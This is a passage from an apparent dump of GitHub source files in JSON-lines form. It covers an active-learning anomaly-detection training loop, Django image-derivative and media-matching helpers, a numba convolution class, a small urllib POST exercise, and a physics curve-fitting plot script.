*(zs*zs).mean()\n else:\n _val_loss = ce + self.args.lmbda * tc\n\n val_loss += _val_loss.mean().item()\n val_update_num += 1\n\n auc = roc_auc_score(true_label, pred)\n ap = average_precision_score(true_label, pred)\n print(\"Epoch:\", epoch, \", AUC: \", auc, \", AP: \", ap)\n logging.info(\"Epoch:\" + f'{epoch}' + \n \", AUC: \" + f'{auc}' + \n \", AP: \" + f'{ap}')\n\n val_loss /= val_update_num\n print(\"Average validation loss: \", val_loss)\n logging.info(f'Average validation loss: {val_loss}')\n\n\n print(\"## Latent Gaussian Anomaly Score\")\n logging.info(\"## Latent Gaussian Anomaly Score\")\n true_label = []\n pred = []\n with torch.no_grad():\n for mini_batch in test_loader:\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # \n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # \n\n\n zs, _ = self.netWRN(xs)\n zs = torch.reshape(zs, (mini_batch['ori_minibatch_size'], self.n_trans, self.ndf))\n\n logp_sz = self.latent_gauss_score(zs, means)\n\n true_label += list(gt_labels.cpu().data.numpy())\n pred += list(logp_sz.cpu().data.numpy())\n\n # val_probs_rots_latentGauss = val_probs_rots_latentGauss.sum(1)\n auc_latent_gauss = roc_auc_score(true_label, pred)\n ap = average_precision_score(true_label, pred)\n print(\"Epoch:\", epoch, \", AUC: \", auc_latent_gauss, \", AP: \", ap)\n logging.info(\"Epoch:\" + f'{epoch}' + \n \", AUC: \" + f'{auc_latent_gauss}' + \n \", AP: \" + f'{ap}')\n\n return auc, auc_latent_gauss\n\n\n def compute_ad_score(self, epoch, train_data, means):\n train_loader = DataLoader(train_data, batch_size=self.ori_batch_size, shuffle=False, drop_last=False)\n \n ad_scores = []\n # for idx in range(len(train_data)):\n with torch.no_grad():\n for mini_batch in train_loader:\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # (360, 3, 32, 32)\n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # (10, 36, 3)\n\n zs_tc, mt_zs_ce = self.netWRN(xs)\n\n\n # all_zs[idx] = zs_tc\n zs = torch.reshape(zs_tc, (mini_batch['ori_minibatch_size'], self.n_trans, self.ndf))\n\n # ranking: training loss anomaly score \n if self.args.oe_rank == 'training_obj' or epoch == 0:\n logp_sz = self.multihead_ce_score(mt_zs_ce, mt_labels)\n\n # ranking: latent gaussian anomaly score \n elif self.args.oe_rank == 'latent_gauss':\n logp_sz = self.latent_gauss_score(zs, means)\n\n else:\n raise NotImplementedError\n\n ad_scores.append(logp_sz)\n\n ad_scores = torch.cat(ad_scores, 0)\n\n return ad_scores\n\n\n def get_all_zs(self, train_data):\n train_loader = DataLoader(train_data, batch_size=self.ori_batch_size, shuffle=False, drop_last=False)\n\n all_zs = []\n with torch.no_grad():\n for mini_batch in train_loader:\n mini_batch = self.process_minibatch(mini_batch)\n xs = mini_batch['data'] # (360, 3, 32, 32)\n gt_labels = mini_batch['gt_labels'] # \n mt_labels = mini_batch['mt_labels'] # (10, 36, 3)\n\n zs_tc, mt_zs_ce = self.netWRN(xs)\n\n all_zs.append(zs_tc)\n\n all_zs = torch.cat(all_zs, 0)\n all_zs = torch.reshape(all_zs, (len(train_data), self.n_trans * self.ndf))\n\n return all_zs\n\n\n def estimate_ratio(self, y_score, y_true, active_idx):\n score_range = np.max(y_score) - np.min(y_score)\n bw_p = score_range / len(active_idx)\n bw_q = score_range / len(active_idx)\n kde_p = KernelDensity(kernel=\"gaussian\", bandwidth=bw_p).fit(y_score[:, np.newaxis])\n kde_q = KernelDensity(kernel=\"gaussian\", bandwidth=bw_q).fit(y_score[active_idx, np.newaxis])\n log_p = kde_p.score_samples(y_score[active_idx, np.newaxis])\n log_q = kde_q.score_samples(y_score[active_idx, np.newaxis])\n ratio = np.mean(np.exp(log_p - log_q) * y_true[active_idx])\n return ratio\n\n\n def get_active_learning_idx_uniform_score(self, ad_scores, K=20):\n ad_scores = ad_scores.cpu()\n min_s = torch.min(ad_scores)\n max_s = torch.max(ad_scores)\n active_sample_neighbor = min_s + torch.rand(K) * (max_s - min_s)\n active_idx = []\n for v in active_sample_neighbor:\n _, idx = torch.topk(torch.abs(ad_scores - v), 1, largest=False)\n active_idx.append(idx)\n active_idx = torch.cat(active_idx, 0)\n\n return active_idx\n\n\n def assign_pseudo_labels(self, ad_scores, train_data, alpha=0.1):\n #### hard constraint assignment ####\n # loss_accept, idx_accept = torch.topk(ad_scores, int(ad_scores.shape[0] * 0.9), largest=False, sorted=False)\n loss_reject, idx_reject = torch.topk(ad_scores, int(ad_scores.shape[0] * alpha), largest=True, sorted=False)\n\n pseudo_labels = torch.zeros(ad_scores.size()[0])\n pseudo_labels[idx_reject] = 1.0\n pseudo_labels = torch.repeat_interleave(pseudo_labels, self.n_trans)\n\n train_data.p_labels = pseudo_labels\n\n print(\"Finish assigning pseudo labels.\")\n\n return train_data\n\n\n def assign_pseudo_labels_active_true_label(self, ad_scores, train_data, active_rand_idx, ratio=0.1, q_weight=100):\n # print('active_rand_idx:', active_rand_idx)\n num_pos = int(ad_scores.shape[0] * ratio)\n\n # unfilled set with values -1\n pseudo_labels = -1*torch.ones(ad_scores.size()[0])\n\n # put known values in\n gt_labels = train_data.y[::self.n_trans]\n pseudo_labels[active_rand_idx] = torch.from_numpy(gt_labels[active_rand_idx]).float()\n\n # assign other pseudo labels\n num_known_pos = torch.sum(pseudo_labels == 1)\n num_unknown_pos = num_pos - num_known_pos\n \n updated_ratio = num_unknown_pos / (ad_scores.shape[0] - active_rand_idx.shape[0])\n\n # assemble labeled dataset\n labeled_aug_idx = []\n for idx in active_rand_idx.numpy():\n labeled_aug_idx.append(np.arange(self.n_trans) + idx*self.n_trans)\n labeled_aug_idx = np.concatenate(labeled_aug_idx).astype(np.long)\n x = train_data.x_aug[labeled_aug_idx]\n y = train_data.y[labeled_aug_idx]\n mt_y = train_data.mt_labels[labeled_aug_idx]\n labeled_data = MultitaskDataset(x, mt_y, y, self.n_trans)\n\n # assemble unlabeled dataset\n unlabled_aug_idx = []\n for idx in range(ad_scores.shape[0]):\n if idx not in active_rand_idx:\n unlabled_aug_idx.append(np.arange(self.n_trans) + idx*self.n_trans)\n unlabled_aug_idx = np.concatenate(unlabled_aug_idx).astype(np.long)\n x = train_data.x_aug[unlabled_aug_idx]\n y = train_data.y[unlabled_aug_idx]\n mt_y = train_data.mt_labels[unlabled_aug_idx]\n unlabeled_data = MultitaskDataset(x, mt_y, y, self.n_trans)\n\n return unlabeled_data, labeled_data, updated_ratio\n\n\n\n\n def min_max_normalize(self, x):\n return (x - x.min()) / (x.max() - x.min())\n\n\n def get_active_learning_idx_hybrid(self, ad_scores, embs, K=40, alpha=1.0):\n idx_active = []\n\n # ad_scores = self.compute_ad_scores(train_data)\n ad_scores = self.min_max_normalize(ad_scores)\n most_pos_idx = torch.argmax(ad_scores).item()\n idx_active.append(most_pos_idx)\n ad_scores[most_pos_idx] = 0.\n\n # dist_matrix = self.get_pairwise_dist(train_data)\n dist_matrix = torch.cdist(embs, embs, p=2)\n dist_matrix = self.min_max_normalize(dist_matrix)\n K -= 1\n for _ in range(K):\n dist_to_active = dist_matrix[idx_active].min(0)[0]\n # print(dist_to_active)\n score = ad_scores + alpha*dist_to_active\n idx = torch.argmax(score).item()\n idx_active.append(idx)\n ad_scores[idx] = 0.\n \n return torch.tensor(idx_active)\n\n\n\n def fit_trans_classifier(self, x_train, mt_train_labels, y_train, x_test, mt_test_labels, y_test):\n\n train_loader, test_loader = self.get_dataloaders(x_train, mt_train_labels, y_train, x_test, mt_test_labels, y_test)\n\n self.set_additional_optimization_options()\n\n self.set_loss_function()\n self.set_anomaly_score_function()\n\n print(\"Training\")\n self.netWRN.train()\n bs = self.args.batch_size\n N, sh, sw, nc = x_train.shape\n n_rots = self.n_trans\n self.m = self.args.m\n ndf = 256\n\n aucs = np.zeros(self.args.epochs)\n aucs_latent_gauss = np.zeros(self.args.epochs)\n\n active_rand_idx = None # for active learning\n K = self.args.K # for active learning\n q_weight = N//n_rots / K - 1 # 6666 / K + 1 # 100 # 6600 / K # 100 # queried sample weight\n ratio = None\n labeled_loader = None\n\n train_data = train_loader.dataset\n unlabeled_loader = train_loader\n\n all_zs = self.train_init(train_loader)\n \n all_zs = torch.reshape(all_zs, (all_zs.shape[0]//n_rots, n_rots, ndf))\n means = all_zs.mean(0, keepdim=True)\n\n # active learning\n ad_scores = self.compute_ad_score(0, train_data, means)\n\n #### assign true labels with K-means++ ####\n if self.args.query_strategy == 'kdist':\n all_zs = self.get_all_zs(train_data).cpu().numpy()\n active_rand_idx = torch.Tensor(init_centers(all_zs, K=K)).long()\n # all_zs = self.get_all_zs(train_data).cpu()\n # active_rand_idx = torch.Tensor(Kmeans_dist(all_zs, K=K, tau=0.01)).long()\n print(\"Assign K=%d true labels with K-means++ initialization.\" % K)\n #### end ####\n\n #### assign true labels with K-means++ ####\n if self.args.query_strategy == 'hybr2':\n all_zs = self.get_all_zs(train_data).cpu()\n _ad_scores = ad_scores.cpu()\n active_rand_idx = self.get_active_learning_idx_hybrid(_ad_scores, all_zs, K=K).long()\n print(\"Assign K=%d true labels with Hybrid2.\" % K)\n #### end ####\n\n if self.args.query_strategy == 'hybr1':\n all_zs = self.get_all_zs(train_data).cpu()\n _ad_scores = ad_scores.cpu()\n active_rand_idx = hybrid1(_ad_scores, all_zs, K).long()\n print(\"Assign K=%d true labels with Hybrid1.\" % K)\n \n print(\"Query idx:\", active_rand_idx)\n gt_ori_labels = train_data.y[::self.n_trans]\n\n p_ori_labels = train_data.p_labels[::self.n_trans]\n print(\"Pseudo label:\", p_ori_labels[active_rand_idx])\n print(\"True label:\", gt_ori_labels[active_rand_idx])\n print(\"Incorrect ratio:\", torch.sum(torch.Tensor(p_ori_labels[active_rand_idx]) != torch.Tensor(gt_ori_labels[active_rand_idx])) / len(active_rand_idx))\n print(\"MLE Contamination ratio:\", np.sum(gt_ori_labels[active_rand_idx]) / len(gt_ori_labels[active_rand_idx]))\n\n if ratio is None:\n if self.args.use_true_ratio:\n ratio = 0.1\n print(\"Use true ratio:\", ratio)\n else:\n ratio = self.estimate_ratio(ad_scores.cpu().numpy(), gt_ori_labels, active_rand_idx.numpy())\n print(\"Use estimated ratio:\", ratio)\n unlabeled_data, labeled_data, ratio = self.assign_pseudo_labels_active_true_label(ad_scores, train_data, active_rand_idx, ratio=ratio, q_weight=q_weight)\n \n batch_size = train_loader.batch_size\n shuffle = True\n unlabeled_loader = DataLoader(unlabeled_data, batch_size=batch_size, shuffle=shuffle, drop_last=False)\n labeled_loader = DataLoader(labeled_data, batch_size=K, shuffle=shuffle, drop_last=False)\n\n for epoch in range(self.args.epochs):\n\n if self.args.oe_loss == 'supervise':\n all_zs = self.train_one_epoch_sup(labeled_loader)\n else:\n all_zs = self.train_one_epoch(epoch, unlabeled_loader, labeled_loader, ratio=ratio)\n\n\n all_zs = torch.reshape(all_zs, (all_zs.shape[0]//n_rots, n_rots, ndf))\n means = all_zs.mean(0, keepdim=True)\n\n auc, auc_latent_gauss = self.evaluation(epoch, test_loader, means)\n\n aucs[epoch] = auc\n aucs_latent_gauss[epoch] = auc_latent_gauss\n\n if self.args.epoch_lr_decay:\n self.epoch_scheduler.step()\n\n sys.stdout.flush()\n\n # save training logs\n np.save(self.args._foldername + './aucs.npy', aucs)\n np.save(self.args._foldername + './aucs_latent_gauss.npy', aucs_latent_gauss)\n\n print(aucs[-5:])\n print(aucs_latent_gauss[-5:])\n\n return aucs[-1], aucs_latent_gauss[-1]\n\n","repo_name":"aodongli/Active-SOEL","sub_path":"MHRot/opt_tc_multitask.py","file_name":"opt_tc_multitask.py","file_ext":"py","file_size_in_byte":29551,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"18707424072","text":"from collections import namedtuple\nfrom functools import cmp_to_key\n\nfrom PyPDF2.pdf import PdfFileReader\nfrom io import BytesIO\nfrom PIL import Image\nimport logging\nimport mimetypes\nimport os\nimport re\nimport shutil\nfrom django.conf import settings\nfrom django.db.models import Q\nfrom django.contrib.auth.models import User\nfrom rooibos.access.functions import filter_by_access, \\\n get_effective_permissions_and_restrictions\nfrom rooibos.data.models import Record, standardfield_ids\nfrom .models import Media, Storage\nfrom .multimedia import get_image, overlay_image_with_mimetype_icon\n\nfrom PIL import ImageFile\n\nfrom ..viewers import get_viewers_for_object\n\nImageFile.MAXBLOCK = 16 * 1024 * 1024\n\nlogger = logging.getLogger(__name__)\n\n\ndef extract_text_from_pdf_stream(stream):\n reader = PdfFileReader(stream)\n return '\\n'.join(\n reader.getPage(i).extractText()\n for i in range(reader.getNumPages())\n )\n\n\ndef extract_text_from_pdf_file(filename):\n with open(filename, 'rb') as stream:\n return extract_text_from_pdf_stream(stream)\n\n\nEXIF_ORIENTATION = 274\n\n# http://www.galloway.me.uk/2012/01/uiimageorientation-exif-orientation-sample-images/\n# https://gist.github.com/steipete/4666527\n\n# case 1: o = UIImageOrientationUp; break;\n# case 3: o = UIImageOrientationDown; break;\n# case 8: o = UIImageOrientationLeft; break;\n# case 6: o = UIImageOrientationRight; break;\n# case 2: o = UIImageOrientationUpMirrored; break;\n# case 4: o = UIImageOrientationDownMirrored; break;\n# case 5: o = UIImageOrientationLeftMirrored; break;\n# case 7: o = UIImageOrientationRightMirrored; break;\n\nEXIF_MIRRORED = [\n None, # orientation starts at index 1\n False,\n True,\n False,\n True,\n True,\n False,\n True,\n False,\n]\n\nEXIF_ROTATION = [\n 0, # orientation starts at index 1\n 0,\n 0,\n 180,\n 180,\n 270,\n 270,\n 90,\n 90,\n]\n\n\ndef rotate_image_based_on_exif(stream):\n image = Image.open(stream)\n\n try:\n orientation = image._getexif().get(EXIF_ORIENTATION, 1)\n except (IndexError, KeyError, AttributeError):\n orientation = 1\n\n mirror = EXIF_MIRRORED[orientation]\n rotate = EXIF_ROTATION[orientation]\n\n if not mirror and not rotate:\n return stream\n\n if rotate:\n image = image.transpose(getattr(Image, 'ROTATE_%d' % rotate))\n if mirror:\n image = image.transpose(Image.FLIP_LEFT_RIGHT)\n\n buffer = BytesIO()\n image.save(buffer, 'jpeg', quality=85)\n\n return buffer\n\n\nmimetypes.init([os.path.normpath(\n os.path.join(os.path.dirname(__file__), '..', 'mime.types')\n)])\n\n\n# sort images by area\ndef _imgsizecmp(x, y):\n if x.width and x.height and y.width and y.height:\n a = x.width * x.height\n b = y.width * y.height\n return (a > b) - (a < b)\n if x.width and x.height:\n return 1\n if y.width and y.height:\n return -1\n return 0\n\n\ndef get_media_for_record(record, user=None, passwords={}):\n \"\"\"\n Returns all media accessible to the user either directly through\n collections or indirectly through presentations.\n A user always must have access to the storage where the media is stored.\n \"\"\"\n from rooibos.presentation.models import Presentation\n\n record_id = getattr(record, 'id', record)\n record = Record.filter_one_by_access(user, record_id)\n\n if not record:\n # Try to get to record through an accessible presentation -\n # own presentations don't count, since it's already established\n # that owner doesn't have access to the record.\n pw_q = Q(\n # Presentation must not have password\n Q(password=None)\n | Q(password='')\n # or must know password\n | Q(id__in=Presentation.check_passwords(passwords))\n )\n access_q = Q(\n # Must have access to presentation\n id__in=filter_by_access(user, Presentation),\n # and presentation must not be archived\n hidden=False\n )\n accessible_presentations = Presentation.objects.filter(\n pw_q, access_q, items__record__id=record_id)\n # Now get all the presentation owners so we can check if any of them\n # have access to the record\n owners = User.objects.filter(\n id__in=accessible_presentations.values('owner'))\n if not any(\n Record.filter_one_by_access(owner, record_id)\n for owner in owners):\n return Media.objects.none()\n\n return Media.objects.filter(\n record__id=record_id,\n storage__id__in=filter_by_access(user, Storage),\n )\n\n\ndef downsize_image(file, width, height, crop_to_square):\n image = Image.open(file)\n if crop_to_square:\n w, h = image.size\n if w > h:\n image = image.crop(\n ((w - h) // 2, 0, (w - h) // 2 + h, h))\n elif w < h:\n image = image.crop(\n (0, (h - w) // 2, w, (h - w) // 2 + w))\n w, h = image.size\n if w > width or h > height:\n image.thumbnail((width, height), Image.LANCZOS)\n if image.mode != \"RGB\":\n image = image.convert(\"RGB\")\n return image\n\n\ndef derivative_image(file, width, height, mimetype, crop_to_square):\n image = downsize_image(file, width, height, crop_to_square)\n if mimetype:\n image = overlay_image_with_mimetype_icon(\n image, mimetype)\n output = BytesIO()\n image.save(output, 'JPEG', quality=85, optimize=True)\n return output.getvalue()\n\n\ndef derivative_from_media(media, width, height, crop_to_square):\n if not media.file_exists():\n logger.error(\n 'Image derivative failed for media %d, '\n 'cannot find file \"%s\"' % (\n media.id, media.get_absolute_file_path()\n )\n )\n return None\n try:\n with get_image(media) as media_image:\n return derivative_image(\n media_image, width, height, media.mimetype, crop_to_square)\n except Exception as e:\n logger.exception(\n 'Image derivative failed for media %d (%s)' %\n (media.id, e)\n )\n return None\n\n\ndef get_image_for_record_from_viewers(\n record, user, width, height, crop_to_square):\n request = namedtuple('request', 'user')(user)\n record_id = getattr(record, 'id', record)\n record = Record.get_or_404(record_id, user)\n viewers = list(get_viewers_for_object(record, request))\n logger.debug('get_image_for_record_from_viewers got viewers %r' % viewers)\n logger.debug('user is %r' % user)\n for viewer in viewers:\n name = '%s-%sx%s%s.jpg' % (\n record_id, width, height, 'sq' if crop_to_square else '')\n logger.debug('looking for \"%r\" in \"%r\"' % (\n name, viewer.get_derivative_storage_path()))\n path = os.path.join(viewer.get_derivative_storage_path(), name)\n if not os.path.exists(path) or os.path.getsize(path) == 0:\n logger.debug('not found, getting image')\n image = viewer.get_image()\n if image:\n output = derivative_image(\n BytesIO(image), width, height, None, crop_to_square\n )\n if output:\n with open(path, 'wb') as f:\n f.write(output)\n return path\n else:\n logger.debug('found, returning %r' % path)\n return path\n\n\ndef get_image_for_record(\n record, user=None, width=100000, height=100000, passwords={},\n crop_to_square=False, force_reprocess=False, loris_name=False):\n media = get_media_for_record(record, user, passwords)\n q = Q(mimetype__startswith='image/')\n if settings.FFMPEG_EXECUTABLE:\n # also support video and audio\n q = q | Q(mimetype__startswith='video/') | \\\n Q(mimetype__startswith='audio/')\n q = q | Q(mimetype='application/pdf') | Q(url__endswith='.pptx')\n\n media = media.select_related('storage').filter(q)\n\n if not media:\n return get_image_for_record_from_viewers(\n record, user, width, height, crop_to_square)\n for m in media:\n m.identify(lazy=True)\n media = sorted(media, key=cmp_to_key(_imgsizecmp), reverse=True)\n # find matching media\n last = None\n for m in media:\n mwidth = m.width or 0\n mheight = m.height or 0\n if mwidth > width or mheight > height:\n # Image still larger than given dimensions\n last = m\n elif (mwidth == width and mheight <= height) or \\\n (mwidth <= width and mheight == height):\n # exact match\n break\n else:\n # Now we have a smaller image\n m = last or m\n break\n\n # m is now equal or larger to requested size, or smaller but closest\n # to the requested size\n\n # check what user size restrictions are\n restrictions = get_effective_permissions_and_restrictions(\n user, m.storage)[3]\n if restrictions:\n try:\n width = min(width, int(restrictions.get('width', width)))\n height = min(height, int(restrictions.get('height', height)))\n except ValueError:\n logger.exception(\n 'Invalid height/width restrictions: %s' % repr(restrictions))\n\n # see if image needs resizing\n if ((m.width or 0) > width or (m.height or 0) > height\n or m.mimetype != 'image/jpeg'\n or not m.is_local() or force_reprocess):\n\n # See if a derivative already exists\n name = '%s-%sx%s%s.jpg' % (\n m.id, width, height, 'sq' if crop_to_square else '')\n sp = m.storage.get_derivative_storage_path()\n if sp:\n path = os.path.join(sp, name)\n if not os.path.exists(path) or os.path.getsize(path) == 0:\n output = derivative_from_media(\n m, width, height, crop_to_square)\n if output:\n with open(path, 'wb') as f:\n f.write(output)\n else:\n return None\n return path\n\n else:\n return None\n\n else:\n try:\n orig_path = m.get_absolute_file_path()\n except:\n logger.error(\"get_absolute_file_path() failed for media.id %s\" % m.id, exc_info=True)\n return None\n if loris_name:\n # need to produce a filename without special characters\n # and proper extension\n if re.match(r'.*[^\\w].*', orig_path) \\\n or not orig_path.lower().endswith('.jpg'):\n name = '%s.jpg' % m.id\n sp = m.storage.get_derivative_storage_path()\n if sp:\n path = os.path.join(sp, name)\n opsize = os.path.getsize(orig_path)\n if not os.path.exists(path) \\\n or os.path.getsize(path) != opsize:\n shutil.copy(orig_path, path)\n return path\n return orig_path\n\n\ndef get_thumbnail_for_record(record, user=None, crop_to_square=False,\n force_reprocess=False):\n return get_image_for_record(\n record, user, width=100, height=100, crop_to_square=crop_to_square,\n force_reprocess=force_reprocess)\n\n\ndef find_record_by_identifier(\n identifiers, collection, owner=None,\n ignore_suffix=False, suffix_regex=r'[-_]\\d+$'):\n idfields = standardfield_ids('identifier', equiv=True)\n if not isinstance(identifiers, (list, tuple)):\n identifiers = [identifiers]\n else:\n identifiers = list(identifiers)\n if ignore_suffix:\n identifiers.extend(\n [re.sub(suffix_regex, '', id) for id in identifiers])\n records = Record.by_fieldvalue(\n idfields, identifiers).filter(\n collection=collection, owner=owner).distinct()\n return records\n\n\ndef match_up_media(storage, collection, allow_multiple_use=False):\n # While matching up when multiple use is allowed, we want to get all\n # the files that are already in use as well, so they can be matched up\n # again\n _broken, files = analyze_media(\n storage,\n allow_multiple_use,\n remove_used_from_extra=not allow_multiple_use\n )\n # find records that have an ID matching one of the remaining files\n for file in files:\n # Match identifiers that are either full file name (with extension)\n # or just base name match\n filename = os.path.split(file)[1]\n id = os.path.splitext(filename)[0]\n records = find_record_by_identifier(\n (id, filename),\n collection,\n ignore_suffix=True\n ).filter(media=None).distinct()\n if len(records) == 1:\n yield records[0], file\n\n\ndef analyze_records(collection, storage):\n # find empty records, i.e. records that don't have any media in the\n # given storage\n return collection.records.exclude(\n id__in=collection.records.filter(media__storage=storage).values('id'))\n\n\ndef analyze_media(storage, allow_multiple_use=False,\n remove_used_from_extra=True):\n broken = []\n used = []\n extra = []\n # Storage must be able to provide file list\n if hasattr(storage, 'get_files'):\n # Find extra files, i.e. files in the storage area that don't\n # have a matching media record\n files = storage.get_files()\n # convert to dict for faster lookup\n extra = dict(list(zip(files, [None] * len(files))))\n # Find broken media, i.e. media that does not have a related file\n # on the file system\n for media in Media.objects.filter(storage=storage):\n url = os.path.normcase(os.path.normpath(media.url))\n if url in extra:\n # File is in use\n if not allow_multiple_use:\n del extra[url]\n else:\n used.append(url)\n else:\n # missing file\n broken.append(media)\n if remove_used_from_extra:\n for url in used:\n if url in extra:\n del extra[url]\n extra = list(extra.keys())\n return broken, extra\n","repo_name":"vrchost/rooibos","sub_path":"rooibos/storage/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":14267,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"71"} +{"seq_id":"20764797761","text":"import numpy as np\nfrom numba import njit\nfrom typing import Optional, Callable\n\n\nclass ImgProc:\n @staticmethod\n def gaussianKernel(size: int, sigma: Optional[float] = 1) -> np.ndarray:\n \"\"\"\n Generates a 2D size x size Gaussian kernel\n\n :param size: the size of the kernel\n :param sigma: the standard deviation of the Gaussian distribution\n\n :return: the generated Gaussian kernel\n \"\"\"\n\n if size <= 0:\n return np.array([])\n\n return ImgProc.__gaussianKernelImpl(size, sigma)\n\n @staticmethod\n @njit\n def __gaussianKernelImpl(size: int, sigma: Optional[float] = 1) -> np.ndarray:\n \"\"\"\n Fills a 2D size x size Gaussian kernel\n\n :param size: the size of the kernel\n :param sigma: the standard deviation of the Gaussian distribution\n\n :return: the generated Gaussian kernel\n \"\"\"\n\n kernel: np.ndarray = np.empty((size, size))\n\n k: int = int(size) // 2\n\n for i in range(size):\n for j in range(size):\n kernel[i, j] = -((i - k) * (i - k) + (j - k) * (j - k))\n\n twoSigmaSquared: float = 2.0 * sigma * sigma\n normal: float = 1.0 / (np.pi * twoSigmaSquared)\n kernel = normal * np.exp(kernel / twoSigmaSquared)\n\n return kernel\n\n @staticmethod\n @njit\n def crossCorrelation2D(image: np.ndarray, kernel: np.ndarray) -> np.ndarray:\n \"\"\"\n Cross-correlate two 2-dimensional arrays.\n\n Adds 0-padding around the image to provide the result of the same size as an input image.\n\n :param image: 1-channel image (2-dimensional array)\n :param kernel: (2k + 1)x(2k + 1) kernel\n\n :return: the results of cross-correlation (has the same size as an input image)\n \"\"\"\n result: np.ndarray = np.empty_like(image)\n\n m: int = image.shape[0]\n n: int = image.shape[1]\n\n k1: int = kernel.shape[0] >> 1\n k2: int = kernel.shape[1] >> 1\n\n isInImgSpace: Callable[[int, int], bool] = lambda i, j: (0 <= i < m) and (0 <= j < n)\n\n for i in range(m):\n for j in range(n):\n value: float = 0.0\n for u in range(-k1, k1 + 1):\n for v in range(-k2, k2 + 1):\n if not isInImgSpace(i + u, j + v):\n # padding with zeros\n continue\n value += kernel[u + k1, v + k2] * image[i + u, j + v]\n result[i, j] = value\n\n return result\n\n @staticmethod\n def convolve2D(image: np.ndarray, kernel: np.ndarray) -> np.ndarray:\n \"\"\"\n Convolve two 2-dimensional arrays.\n\n Adds 0-padding around the image to provide the result of the same size as an input image.\n\n :param image: 1-channel image (2-dimensional array)\n :param kernel: (2k + 1)x(2k + 1) kernel\n\n :return: result of the convolution (has the same size as an input image)\n \"\"\"\n return ImgProc.crossCorrelation2D(image, np.flip(kernel))\n","repo_name":"maletsden/hough_cirles","sub_path":"src/imgproc.py","file_name":"imgproc.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"23086703535","text":"#!/usr/bin/python3\n\"\"\" SEnds a post request to a url \"\"\"\n\nimport urllib.parse\nimport urllib.request\nimport sys\n\nif __name__ == \"__main__\":\n link = sys.argv[1]\n result = {\"email\": sys.argv[2]}\n info = urllib.parse.urlencode(result).encode(\"ascii\")\n\n met = urllib.request.Request(link, info)\n with urllib.request.urlopen(met) as reply:\n print(reply.read().decode(\"utf-8\"))\n","repo_name":"mykael2000/alx-higher_level_programming","sub_path":"0x11-python-network_1/2-post_email.py","file_name":"2-post_email.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"11912287517","text":"import os\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\nfrom scipy import signal\nfrom scipy.integrate import quad, dblquad, nquad\nfrom matplotlib.widgets import Slider, Button\n\n# Make plots readable\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nmpl.rc('axes', labelsize=14)\nmpl.rc('xtick', labelsize=12)\nmpl.rc('ytick', labelsize=12)\nmpl.rc('lines', markersize=2)\nplt.ion()\n\na,E,mu,tau,c,k,tol=1,5,2.5,1/5,1,-4,-1\n\ndef sawtooth(x, a=a, E=E):\n return a/E*x-np.floor(x/E)\n\ndef fermi(x, mu=mu, tau=tau):\n return 1/(np.exp((x-mu)/tau)+1)\n\ndef current(x, c=c, k=k):\n return c*x+k#c*np.exp(k*x)\n\ndef norm(A):\n return (A-np.min(A))/(np.max(A)-np.min(A))\n\nvmin, vmax, dv = 0, 80, 0.1\n\nv = np.arange(vmin, vmax+dv, dv)\n\nfig, axs = plt.subplots(2,2,figsize=(10,10))\nplt.subplots_adjust(left=0.05,right=0.98,bottom=0.17,top=0.95)\n\ndef myplot(*args, ax=None, legend=[], title=\"\", xlim=[vmin,vmax],ylim=[0,1], xdv=E):\n if ax is None:\n plt.clf()\n plt.figure()\n k = plt.plot(*args)\n plt.grid(True)\n if legend != []:\n plt.legend(legend)\n plt.xlim(xlim[0],xlim[1])\n plt.ylim(ylim[0],ylim[1])\n plt.xticks(np.arange(xlim[0],xlim[1]+xdv, xdv))\n plt.title(title)\n else:\n ax.clear()\n k = ax.plot(*args)\n ax.grid(True)\n if legend != []:\n ax.legend(legend)\n ax.set_xlim(xlim[0],xlim[1])\n ax.set_ylim(ylim[0],ylim[1])\n ax.set_xticks(np.arange(xlim[0],xlim[1]+xdv, xdv))\n ax.set_title(title)\n return k\n\n\ndata = pd.read_csv('data/good/NewFile7.csv').to_numpy()\ndata = data[1:,:].astype(float)\nt, d = data[:,0]*10, norm(data[:,1])\n\nzs = np.zeros(np.size(v))\np0 = myplot(v, zs, v, zs, v, zs, ax=axs[0,0], legend=[\"Fermi(mu,tau)\",\"Exp(k)\",\"Sawtooth(a,E)\"], title=\"Inputs\")\np1 = myplot(v, zs, v, zs, v, zs, ax=axs[0,1], legend=[\"Saw*Fermi\", \"Saw*Exp\", \"Fermi*Exp\"], title=\"Convolutions\")\ngs = axs[1, 1].get_gridspec()\naxs[1,0].remove()\naxs[1,1].remove()\naxbig = fig.add_subplot(gs[1,:])\np2 = myplot(v, zs, v, zs, t, d, \"o\", ax=axbig, legend=[\"Conv Integral\",\"FFT\", \"data\"],title=\"Total\")\n\nfrom multiprocessing import Pool\nfrom functools import partial\n\ndef vsfi(v=v,a=a,E=E,mu=mu,tau=tau,c=c,k=k,tol=tol):\n return dblquad(lambda v1, v2, v=v,a=a,E=E,mu=mu,tau=tau,c=c,k=k: \\\n sawtooth(v1,a,E)*fermi(v-v1-v2,mu,tau)*current(v2,c,k), \\\n vmin, v, lambda x: vmin, lambda x,v=v: v, \\\n epsabs=tol, epsrel=tol)[0]\ndef vsf(v=v,a=a,E=E,mu=mu,tau=tau,tol=tol):\n return quad(lambda v1, v=v,a=a,E=E,mu=mu,tau=tau: \\\n sawtooth(v1, a, E)*fermi(v-v1, mu, tau), \\\n vmin, v, epsabs=tol, epsrel=tol)[0]\ndef vsi(v=v,a=a,E=E,c=c,k=k,tol=tol):\n return quad(lambda v1, v=v,a=a,E=E,c=c,k=k: \\\n sawtooth(v1, a, E)*current(v-v1, c, k), \\\n vmin, v, epsabs=tol, epsrel=tol)[0]\ndef vfi(v=v,mu=mu,tau=tau,c=c,k=k,tol=tol):\n return quad(lambda v1, 